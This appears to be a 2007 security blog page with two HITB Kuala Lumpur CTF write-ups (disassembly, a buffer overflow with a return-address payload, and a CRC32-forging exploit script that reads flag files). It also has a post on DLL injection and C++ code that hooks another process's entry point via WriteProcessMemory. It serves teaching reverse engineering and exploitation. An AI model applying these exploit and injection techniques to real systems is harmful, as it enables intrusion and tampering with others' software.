Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05

September 14, 2007 by lamer · Leave a Comment 

Identify main

Like the previous blog post, let’s start with the start function.

<b>.text:</b>080488B0                 public start
<b>.text:</b>080488B0 start           proc near
<b>.text:</b>080488B0                 <b>xor</b>     <b>ebp</b>, <b>ebp</b>
<b>.text:</b>080488B2                 <b>pop</b>     <b>esi</b>
<b>.text:</b>080488B3                 <b>mov</b>     <b>ecx</b>, <b>esp</b>
<b>.text:</b>080488B5                 <b>and</b>     <b>esp</b>, 0FFFFFFF0h
<b>.text:</b>080488B8                 <b>push</b>    <b>eax</b>
<b>.text:</b>080488B9                 <b>push</b>    <b>esp</b>
<b>.text:</b>080488BA                 <b>push</b>    <b>edx</b>
<b>.text:</b>080488BB                 <b>push</b>    offset sub_804C650
<b>.text:</b>080488C0                 <b>push</b>    offset sub_804C5F0
<b>.text:</b>080488C5                 <b>push</b>    <b>ecx</b>
<b>.text:</b>080488C6                 <b>push</b>    <b>esi</b>
<b>.text:</b>080488C7                 <b>push</b>    offset main
<b>.text:</b>080488CC                 <b>call</b>    ___libc_start_main

We identify the main function as the last argument to ___libc_start_main. So let’s get to it.

Analyze main

<b>.text:</b>08048ABE main            proc near               ; DATA XREF: start+17&uarr;o
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE var_518         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h
<b>.text:</b>08048ABE var_514         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h
<b>.text:</b>08048ABE var_510         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h
<b>.text:</b>08048ABE var_208         <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE                 <b>push</b>    <b>ebp</b>
<b>.text:</b>08048ABF                 <b>mov</b>     <b>ebp</b>, <b>esp</b>
<b>.text:</b>08048AC1                 <b>sub</b>     <b>esp</b>, 518h       ; char *
<b>.text:</b>08048AC7                 <b>and</b>     <b>esp</b>, 0FFFFFFF0h
<b>.text:</b>08048ACA                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048ACF                 <b>add</b>     <b>eax</b>, 0Fh
<b>.text:</b>08048AD2                 <b>add</b>     <b>eax</b>, 0Fh
<b>.text:</b>08048AD5                 <b>shr</b>     <b>eax</b>, 4
<b>.text:</b>08048AD8                 <b>shl</b>     <b>eax</b>, 4
<b>.text:</b>08048ADB                 <b>sub</b>     <b>esp</b>, <b>eax</b>
<b>.text:</b>08048ADD                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aCodedByXwings_ ; &quot;Coded By xWinGs. a code just to make yo&quot;...
<b>.text:</b>08048AE4                 <b>call</b>    _printf
<b>.text:</b>08048AE9                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aSecretCode ; &quot;Secret Code: &quot;
<b>.text:</b>08048AF0                 <b>call</b>    _printf
<b>.text:</b>08048AF5                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>stdout
<b>.text:</b>08048AFA                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b>
<b>.text:</b>08048AFD                 <b>call</b>    _fflush
<b>.text:</b>08048B02                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, 200h
<b>.text:</b>08048B0A                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b>
<b>.text:</b>08048B10                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b>
<b>.text:</b>08048B14                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, 0
<b>.text:</b>08048B1B                 <b>call</b>    _read
<b>.text:</b>08048B20                 <b>mov</b>     <b>ds</b><b>:</b>dword_80529DC, <b>eax</b>
<b>.text:</b>08048B25                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, offset aEtcFlagsDaemon ; &quot;/etc/flags/daemon05.txt&quot;
<b>.text:</b>08048B2D                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>dword_80529DC
<b>.text:</b>08048B32                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b>
<b>.text:</b>08048B36                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b>
<b>.text:</b>08048B3C                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b>
<b>.text:</b>08048B3F                 <b>call</b>    sub_80489F4

First, a few calls to printf to advertise this is from xWinGs. Nothing fancy yet. Then a read of 0×200 (1024) bytes to var_208. So, let’s rename var_208 to input_buffer. And also note that input_buffer is the first item on the stack. After input_buffer there comes the frame pointer and a return address.

With the same reasoning as in the previous post, we also rename var_518 to first_arg, var_514 to second_arg, and var_510 to third_arg.

After the read is a check for score server packet. We’ll skip it. And here comes the juicy part.

<b>.text:</b>08048B44                 <b>mov</b>     <b>eax</b>, <b>ds</b><b>:</b>stdin
<b>.text:</b>08048B49                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>third_arg<b>]</b>, <b>eax</b>
<b>.text:</b>08048B4D                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>second_arg<b>]</b>, 300h
<b>.text:</b>08048B55                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>input_buffer<b>]</b>
<b>.text:</b>08048B5B                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, <b>eax</b>
<b>.text:</b>08048B5E                 <b>call</b>    _fgets
<b>.text:</b>08048B63                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, offset aWrongCode_ ; &quot;Wrong Code.\n&quot;
<b>.text:</b>08048B6A                 <b>call</b>    _printf
<b>.text:</b>08048B6F                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048B74                 <b>leave</b>
<b>.text:</b>08048B75                 <b>retn</b>
<b>.text:</b>08048B75 main            endp

The next call is to fgets to read another, uhm, 0×300 bytes to input_buffer. And this is where overflow occurs. Remember that input_buffer is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer we are able to control the return address.

Ok, that’s all fine, but where do we want main to return to? A little digging around reveals this piece of unidentified code.

<b>.text:</b>08048A60 locret_8048A60<b>:</b>                         ; CODE XREF: sub_80489F4+29&uarr;j
<b>.text:</b>08048A60                 <b>leave</b>
<b>.text:</b>08048A61                 <b>retn</b>
<b>.text:</b>08048A61 sub_80489F4     endp
<b>.text:</b>08048A61
<b>.text:</b>08048A62 ; ---------------------------------------------------------------------------
<b>.text:</b>08048A62                 <b>push</b>    <b>ebp</b>
<b>.text:</b>08048A63                 <b>mov</b>     <b>ebp</b>, <b>esp</b>
<b>.text:</b>08048A65                 <b>sub</b>     <b>esp</b>, 48h
<b>.text:</b>08048A68                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, offset aR ; &quot;r&quot;
<b>.text:</b>08048A70                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset aEtcFlagsDaemon ; &quot;/etc/flags/daemon05.txt&quot;
<b>.text:</b>08048A77                 <b>call</b>    _fopen
<b>.text:</b>08048A7C                 <b>mov</b>     <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>, <b>eax</b>
<b>.text:</b>08048A7F                 <b>mov</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>
<b>.text:</b>08048A82                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>8<b>]</b>, <b>eax</b>
<b>.text:</b>08048A86                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, 20h
<b>.text:</b>08048A8E                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b>
<b>.text:</b>08048A91                 <b>mov</b>     <b>[</b><b>esp</b><b>]</b>, <b>eax</b>
<b>.text:</b>08048A94                 <b>call</b>    _fgets
<b>.text:</b>08048A99                 <b>mov</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>
<b>.text:</b>08048A9C                 <b>mov</b>     <b>[</b><b>esp</b><b>]</b>, <b>eax</b>
<b>.text:</b>08048A9F                 <b>call</b>    _fclose
<b>.text:</b>08048AA4                 <b>lea</b>     <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b>
<b>.text:</b>08048AA7                 <b>mov</b>     <b>[</b><b>esp</b><b>+</b>4<b>]</b>,;;; <b>eax</b>
<b>.text:</b>08048AAB                 <b>mov</b>     <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset <b>aS</b> ; &quot;\n%s&quot;
<b>.text:</b>08048AB2                 <b>call</b>    _printf
<b>.text:</b>08048AB7                 <b>mov</b>     <b>eax</b>, 0
<b>.text:</b>08048ABC                 <b>leave</b>
<b>.text:</b>08048ABD                 <b>retn</b>
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE ; Attributes: bp-based frame
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE main            proc near               ; DATA XREF: start+17&uarr;o
<b>.text:</b>08048ABE
<b>.text:</b>08048ABE first_arg       <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h
<b>.text:</b>08048ABE second_arg      <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h
<b>.text:</b>08048ABE third_arg       <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h
<b>.text:</b>08048ABE input_buffer    <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h

Look at 08048A62! It’s a function prologue. And indeed from 08048A62 to 08048ABD is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!

Exploit it

Now, let’s gather what we’ve have. We can control where main returns to, and we know there’s a function that suits our purpose. Therefore, the challenge is… none. We just return to this function!

With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62. And how hard could it be? Two lines of Python code!

import struct
buffer = struct.pack("I", 0x08048A62) * 1000

Remotely exploit it

If you tried out the buffer above, you might find that it didn’t work remotely. This is because the easter-egg function uses printf to print out the flag. It is common knowledge that printf buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0×664 bytes. However, only 0×300 bytes are read in. So this approach fails.

Another approach is to flush the stream after printf. Luckily, this is doable by returning to 08048AF5. At that address, there is a call to fflush on stdout. Again, we only use existing code.

In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:

buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"

Observation

Well, what should I say? Thank you, xWinGs, for this twisted fun!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Exploiting HITB 2007 KL CTF Daemon 01

September 11, 2007 by lamer · Leave a Comment 

Identifying the main function

IDA will land us right here when it finishes analysis.

.text:08048830                 public start
.text:08048830 start           proc near
.text:08048830                 <b>xor</b>     ebp, ebp
.text:08048832                 <b>pop</b>     esi
.text:08048833                 <b>mov</b>     ecx, esp
.text:08048835                 <b>and</b>     esp, 0FFFFFFF0h
.text:08048838                 <b>push</b>    eax
.text:08048839                 <b>push</b>    esp
.text:0804883A                 <b>push</b>    edx
.text:0804883B                 <b>push</b>    offset sub_804C700
.text:08048840                 <b>push</b>    offset sub_804C6A0
.text:08048845                 <b>push</b>    ecx
.text:08048846                 <b>push</b>    esi
.text:08048847                 <b>push</b>    offset main
.text:0804884C                 <b>call</b>    ___libc_start_main

Notice at 08048847, I have renamed the function as main.

Analyzing main

Let’s get to main now. The function starts with:

.text:08048AA1 main            proc near               ; DATA XREF: start+17↑o
.text:08048AA1
.text:08048AA1 first_arg       = dword ptr -2F8h
.text:08048AA1 second_arg      = dword ptr -2F4h
.text:08048AA1 third_arg       = dword ptr -2F0h
.text:08048AA1 var_2EC         = dword ptr -2ECh
.text:08048AA1 var_2E8         = dword ptr -2E8h
.text:08048AA1 var_260         = dword ptr -260h
.text:08048AA1 num_read        = dword ptr -25Ch
.text:08048AA1 input_buffer    = dword ptr -258h
.text:08048AA1 var_4C          = dword ptr -4Ch
.text:08048AA1 filename        = dword ptr -48h
.text:08048AA1
.text:08048AA1                 <b>push</b>    ebp
.text:08048AA2                 <b>mov</b>     ebp, esp
.text:08048AA4                 <b>sub</b>     esp, 2F8h       ; fildes
.text:08048AAA                 <b>and</b>     esp, 0FFFFFFF0h
.text:08048AAD                 <b>mov</b>     eax, 0
.text:08048AB2                 <b>add</b>     eax, 0Fh
.text:08048AB5                 <b>add</b>     eax, 0Fh
.text:08048AB8                 <b>shr</b>     eax, 4
.text:08048ABB                 <b>shl</b>     eax, 4
.text:08048ABE                 <b>sub</b>     esp, eax
.text:08048AC0                 <b>mov</b>     [esp+2F8h+first_arg], offset static_buffer
.text:08048AC7                 <b>call</b>    sub_80489E2
.text:08048ACC                 <b>mov</b>     [esp+2F8h+third_arg], 200h
.text:08048AD4                 <b>mov</b>     [esp+2F8h+second_arg], 0
.text:08048ADC                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048AE2                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048AE5                 <b>call</b>    _memset
.text:08048AEA                 <b>mov</b>     [esp+2F8h+third_arg], 40h
.text:08048AF2                 <b>mov</b>     [esp+2F8h+second_arg], 0
.text:08048AFA                 <b>lea</b>     eax, [ebp+filename]
.text:08048AFD                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B00                 <b>call</b>    _memset
.text:08048B05                 <b>mov</b>     [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps"
.text:08048B0D                 <b>lea</b>     eax, [ebp+filename]
.text:08048B10                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B13                 <b>call</b>    _strcpy
.text:08048B18                 <b>mov</b>     [esp+2F8h+third_arg], 400h
.text:08048B20                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B26                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B2A                 <b>mov</b>     [esp+2F8h+first_arg], 0
.text:08048B31                 <b>call</b>    _read
.text:08048B36                 <b>mov</b>     [ebp+num_read], eax
.text:08048B3C                 <b>cmp</b>     [ebp+num_read], 0FFFFFFFFh
.text:08048B43                 <b>jnz</b>     short loc_8048B5D
.text:08048B45                 <b>mov</b>     [esp+2F8h+first_arg], offset aRead ; "read"
.text:08048B4C                 <b>call</b>    _perror
.text:08048B51                 <b>mov</b>     [esp+2F8h+first_arg], 1
.text:08048B58                 <b>call</b>    _exit

Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let’s see how we could arrive to the same naming.

First, there is a call to sub_80489E2 and a static_buffer is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer? Because it is static (located in .bss segment) and it is a buffer.

Next to it, some sort of buffer is reset to 0 with memset (0×200 bytes). Notice GCC uses mov instead of push to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov to the lowest slot is equivalent to the last push, or in other words, the first argument. And therefore I named the lowest slot first_arg, followed (logically) by second_arg and so on.

We see another buffer being reset to 0 (0×40 bytes). Then right after that, /proc/self/maps is strcpy‘d to that buffer. Well, let’s not waste anytime and mark it filename.

With one buffer marked, we still have one left. Luckily, the next call to read tells us that the remaining buffer should be named input_buffer. Right?

But, hey, wait, the read was for 0×400 bytes while input_buffer is only (0×258 – 0×4C) byte long. That is, if you fill input_buffer with (0×258 – 0×4C) bytes you will hit var_4C, and if you fill 4 bytes more than that, you will hit the beginning of filename. How wonderful! It gives you control over filename.

Let’s move on.

.text:08048B5D loc_8048B5D:                            ; CODE XREF: main+A2↑j
.text:08048B5D                 <b>mov</b>     [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt"
.text:08048B65                 <b>mov</b>     eax, [ebp+num_read]
.text:08048B6B                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B6F                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B75                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B78                 <b>call</b>    is_from_server
.text:08048B7D                 <b>mov</b>     [esp+2F8h+third_arg], offset static_buffer
.text:08048B85                 <b>mov</b>     eax, [ebp+num_read]
.text:08048B8B                 <b>mov</b>     [esp+2F8h+second_arg], eax
.text:08048B8F                 <b>lea</b>     eax, [ebp+input_buffer]
.text:08048B95                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048B98                 <b>call</b>    CRC32
.text:08048B9D                 <b>mov</b>     [ebp+var_4C], eax
.text:08048BA0                 <b>cmp</b>     [ebp+var_4C], 0FEEDAFEDh
.text:08048BA7                 <b>jnz</b>     short loc_8048C25
.text:08048BA9                 <b>mov</b>     [esp+2F8h+second_arg], offset aR ; "r"
.text:08048BB1                 <b>lea</b>     eax, [ebp+filename]
.text:08048BB4                 <b>mov</b>     [esp+2F8h+first_arg], eax
.text:08048BB7                 <b>call</b>    _fopen
.text:08048BBC                 <b>mov</b>     [ebp+var_260], eax
.text:08048BC2                 <b>cmp</b>     [ebp+var_260], 0
.text:08048BC9                 <b>jz</b>      short loc_8048C25

Please just take it for granted that at 08048B78 is a call to process score server packets. So let’s skip it over and analyze the next call.

.text:08048A4C CRC32           proc near               ; CODE XREF: main+F7↓p
.text:08048A4C
.text:08048A4C var_8           = dword ptr -8
.text:08048A4C var_4           = dword ptr -4
.text:08048A4C arg_0           = dword ptr  8
.text:08048A4C arg_4           = dword ptr  0Ch
.text:08048A4C arg_8           = dword ptr  10h
.text:08048A4C
.text:08048A4C                 <b>push</b>    ebp
.text:08048A4D                 <b>mov</b>     ebp, esp
.text:08048A4F                 <b>sub</b>     esp, 8
.text:08048A52                 <b>mov</b>     [ebp+var_8], 0FFFFFFFFh
.text:08048A59                 <b>mov</b>     [ebp+var_4], 0
.text:08048A60
.text:08048A60 loc_8048A60:                            ; CODE XREF: CRC32+4C↓j
.text:08048A60                 <b>mov</b>     eax, [ebp+var_4]
.text:08048A63                 <b>cmp</b>     eax, [ebp+arg_4]
.text:08048A66                 <b>jge</b>     short loc_8048A9A
.text:08048A68                 <b>mov</b>     eax, [ebp+var_8]
.text:08048A6B                 <b>mov</b>     ecx, eax
.text:08048A6D                 <b>shr</b>     ecx, 8
.text:08048A70                 <b>mov</b>     eax, [ebp+var_4]
.text:08048A73                 <b>add</b>     eax, [ebp+arg_0]
.text:08048A76                 <b>movzx</b>   eax, byte ptr [eax]
.text:08048A79                 <b>xor</b>     eax, [ebp+var_8]
.text:08048A7C                 <b>and</b>     eax, 0FFh
.text:08048A81                 <b>lea</b>     edx, ds:0[eax*4]
.text:08048A88                 <b>mov</b>     eax, [ebp+arg_8]
.text:08048A8B                 <b>mov</b>     eax, [edx+eax]
.text:08048A8E                 <b>xor</b>     eax, ecx
.text:08048A90                 <b>mov</b>     [ebp+var_8], eax
.text:08048A93                 <b>lea</b>     eax, [ebp+var_4]
.text:08048A96                 <b>inc</b>     dword ptr [eax]
.text:08048A98                 <b>jmp</b>     short loc_8048A60
.text:08048A9A ; ---------------------------------------------------------------------------
.text:08048A9A
.text:08048A9A loc_8048A9A:                            ; CODE XREF: CRC32+1A↑j
.text:08048A9A                 <b>mov</b>     eax, [ebp+var_8]
.text:08048A9D                 <b>not</b>     eax
.text:08048A9F                 <b>leave</b>
.text:08048AA0                 <b>retn</b>
.text:08048AA0 CRC32           endp

If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF initial value, the “take each character, xor it, and logical and it with 0xFF” (movzx, xor and and starting from 08048A76, and the negation at 08048A9D.

And you’ll be tempting to rename static_buffer to crc32_table. But that’s beside the point.

Now we go back to the main function. After taking CRC32 value of the whole read input_buffer, the value is compared with 0xFEEDAFED. If it is equal, then the filename is open, read and written out.

Exploit it

Let’s gather what we’ve got. First we are able to overflow the filename buffer. Second, if the CRC value matches 0xFEEDAFED, the file identified by filename will be opened, read, and written out to stdout. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED.

import zlib
buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txt\x00"

<b>def</b> fix_crc(buffer, target_crc):
  buffer_crc = zlib.crc32(buffer)
  charset = [chr(x) <b>for</b> x <b>in</b> range(256)]
  fix = ['a'] * 4
  crc = [0] * 4
  <b>for</b> fix[0] <b>in</b> charset:
    crc[0] = zlib.crc32(fix[0], buffer_crc)
    <b>for</b> fix[1] <b>in</b> charset:
      crc[1] = zlib.crc32(fix[1], crc[0])
      <b>for</b> fix[2] <b>in</b> charset:
        crc[2] = zlib.crc32(fix[2], crc[1])
        <b>for</b> fix[3] <b>in</b> charset:
          crc[3] = zlib.crc32(fix[3], crc[2])
          <b>if</b> (crc[3] &amp; 0xFFFFFFFF) == target_crc:
            <b>return</b> ''.join(fix)

buffer = buffer + fix_crc(buffer, 0xFEEDAFED)

Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.

Observation

This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Another way to inject a DLL

July 12, 2007 by mikado · 1 Comment 

Read this first: OllyDbg plugin: Catcha! v1.1 – Catcha anywhere

Nothing special :D Just write a trap function that call LoadLibrary() function…

Pros:
- We have an advantage that we don’t have to call CreateRemoteThread() function.

Cons:
- Must pause target process to hook its EntryPoint :D.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

OllyDbg plugin: Catcha! v1.1 – Catcha anywhere

July 10, 2007 by mikado · Leave a Comment 

OllyDbg plugin: Catcha! v1.1

In order to reach the target program EntryPoint, we call CEngine::EngineTrap() function below before resuming the target program to hook its EntryPoint and raise debug exception by INT3 instruction then we can attach to it.

///pAddress: the address inside target process (the EntryPoint in our case) that will be hooked with trap function.
VOID CEngine::EngineTrap(LPVOID pAddress)
{
	HANDLE hProcess = NULL, hLibRemote = NULL;
	UCHAR pEntryPointOpcodes[5] = {0,};
	//Trap function opcodes
	UCHAR pTrap[] = {0x50,				// 0 - PUSH EAX				; Save EAX
			 0xB8, 0x00, 0x00, 0x00, 0x00,	// 1 - MOV EAX,XXXXXXXX			; EAX = XXXXXXXX = pAddress
			 0xC6, 0x00, 0xFF,		// 6 - MOV BYTE PTR DS:[EAX],0FF	;\
			 0xC6, 0x40, 0x01, 0xFF,	// 9 - MOV BYTE PTR DS:[EAX+1],0FF	; |
			 0xC6, 0x40, 0x02, 0xFF,	//13 - MOV BYTE PTR DS:[EAX+2],0FF	; | Restore original opcodes at pAddress
			 0xC6, 0x40, 0x03, 0xFF,	//17 - MOV BYTE PTR DS:[EAX+3],0FF	; |
			 0xC6, 0x40, 0x04, 0xFF,	//21 - MOV BYTE PTR DS:[EAX+4],0FF	;/
			 0x58,				//25 - POP EAX				; Restore EAX
			 0xCC,				//26 - INT3				; Raise debug exception
			 0xE9, 0x00, 0x00, 0x00, 0x00	//27 - JMP YYYYYYYY			; YYYYYYYY = relative address value of pAddress
			};
	DWORD nOldProtect;

	do {
		//Open target process
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_ProcessInfo.m_nProcessId);
		if (!hProcess) {
			EngineLog("Error: CEngine::EngineTrap() -&gt; ::OpenProcess()");
			EngineError();
			break;
		}

		//Allocate memory space inside target process for trap function
		//hLibRemote = allocated virtual address inside target process
		hLibRemote = ::VirtualAllocEx(hProcess,
					      NULL,
					      sizeof(pTrap),
					      MEM_COMMIT,
					      PAGE_READWRITE);
		if (!hLibRemote) {
			EngineLog("Error: CEngine::EngineTrap() -&gt; ::VirtualAllocEx()");
			EngineError();
			break;
		}

		//Ensure that we can read/write/execute sizeof(pEntryPointOpcodes) bytes at pAddress
		if (!::VirtualProtectEx(hProcess,
					(LPVOID)(m_ProcessInfo.m_nImageBase + m_ProcessInfo.m_nAddressOfEntryPoint),
					sizeof(pEntryPointOpcodes),
					PAGE_EXECUTE_READWRITE,
					&amp;nOldProtect)) {
			EngineLog("Error: CEngine::EngineTrap() -&gt; ::VirtualProtectEx()");
			EngineError();
			break;
		}

		//Ensure that we can read/write/execute sizeof(pTrap) bytes at hLibRemote
		if (!::VirtualProtectEx(hProcess,
					(LPVOID)hLibRemote,
					sizeof(pTrap),
					PAGE_EXECUTE_READWRITE,
					&amp;nOldProtect)) {
			EngineLog("Error: CEngine::EngineTrap() -&gt; ::VirtualProtectEx()");
			EngineError();
			break;
		}

		//Save sizeof(pEntryPointOpcodes) bytes at pAddress in pEntryPointOpcodes
		if (!::ReadProcessMemory(hProcess,
					 (LPVOID)(m_ProcessInfo.m_nImageBase + m_ProcessInfo.m_nAddressOfEntryPoint),
					 (LPVOID)pEntryPointOpcodes,
					 sizeof(pEntryPointOpcodes),
					 NULL)) {
			EngineLog("Error: CEngine::EngineTrap() -&gt; ::ReadProcessMemory()");
			EngineError();
			break;
		}

		//Repair trap function

		//XXXXXXXX = pAddress
		*(PDWORD)(pTrap + 2) = (DWORD)pAddress;

		//Calculate value for JMP instruction
		//YYYYYYYY = relative address value of pAddress
		*(PDWORD)(pTrap + 28) = (DWORD)pAddress - ((DWORD)hLibRemote + sizeof(pTrap));

		//Restore original opcodes at pAddress
		pTrap[8] = pEntryPointOpcodes[0];
		pTrap[12] = pEntryPointOpcodes[1];
		pTrap[16] = pEntryPointOpcodes[2];
		pTrap[20] = pEntryPointOpcodes[3];
		pTrap[24] = pEntryPointOpcodes[4];

		//Replace opcodes at pAddress with JMP instruction to trap function
		pEntryPointOpcodes[0] = 0xE9;
		//Calculate value for JMP instruction
		*(PDWORD)(pEntryPointOpcodes + 1) = (DWORD)hLibRemote - ((DWORD)pAddress + sizeof(pEntryPointOpcodes));

		//Write our codes into target process

		if (!::WriteProcessMemory(hProcess,
					  pAddress,
					  (LPVOID)pEntryPointOpcodes,
					  sizeof(pEntryPointOpcodes),
					  NULL)) {
			EngineLog("Error: CEngine::EngineHookEntryPoint() -&gt; ::WriteProcessMemory()");
			EngineError();
			break;
		}

		if (!::WriteProcessMemory(hProcess,
					  (LPVOID)hLibRemote,
					  (LPVOID)pTrap,
					  sizeof(pTrap),
					  NULL)) {
			EngineLog("Error: CEngine::EngineTrap() -&gt; ::WriteProcessMemory()");
			EngineError();
			break;
		}
	}
	while (FALSE);

	::CloseHandle(hProcess);

	EngineLog("Done: CEngine::EngineTrap()");
}

Besides, this function is also used to hook and trap at any address inside target process. It will be useful for attaching OllyDbg after bypassing some codes we are not interested in (e.g: anti-debugger codes :D). Because I don’t have much time at this moment, I will add this option in next version of Catcha!.

mikado.

P.S: As lamer’s comment, the next feature can only be applied to applications that don’t handle INT3 exception themselves. Another problem is that this version is still not be able to catch .NET applications because their EntryPoint is located in mscoree.dll.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

OllyDbg plugin: Catcha! v1.0

July 6, 2007 by mikado · Leave a Comment 

OllyDbg plugin: Catcha! v1.0

Catcha! v1.0
Coded by mikado @ vnsecurity, 4vn
Website: http://www.vnsecurity.net - http://www.4vn.org
Email: mikado[at]4vn[dot]org

[ About ]
Sometimes you don't know how to start a program correctly
from OllyDgb. Catcha! plugin will help you to attach to your
program automatically as soon as possible each time your
program runs (outside OllyDbg).

It works like Olly De-Attach Helper plugin:
http://www.openrce.org/downloads/details/185/Olly%20De-Attach%20Helper

Catcha! has more advantages than Olly De-Attach Helper.
It helps reversers not to miss many opcodes before attaching
target program.

Check it out! Have fun and feel free to contact me.

[ Instructions ]
- Copy Catcha!.dll and Catcha!.sys to OllyDbg plugin directory.
- First, select target program by chosing menu:
  Plugins -&gt; Catcha! -&gt; Select Catcha! target.
- Run target program outside OllyDbg.
  It will be attached in OllyDbg automatically as soon as possible.
- Press F9 to continue running program or,
  right click on Disassembler window and chose Thread -&gt; Main
  on Popup menu to switch to program's main thread and continue
  your debug session.

[ History ]
2007.07.06:
- Version 1.0 released.

[ Known bugs ]
1. Target program can only be attached automatically one time.
   You have to restart OllyDbg in order for Catcha! to work correctly.
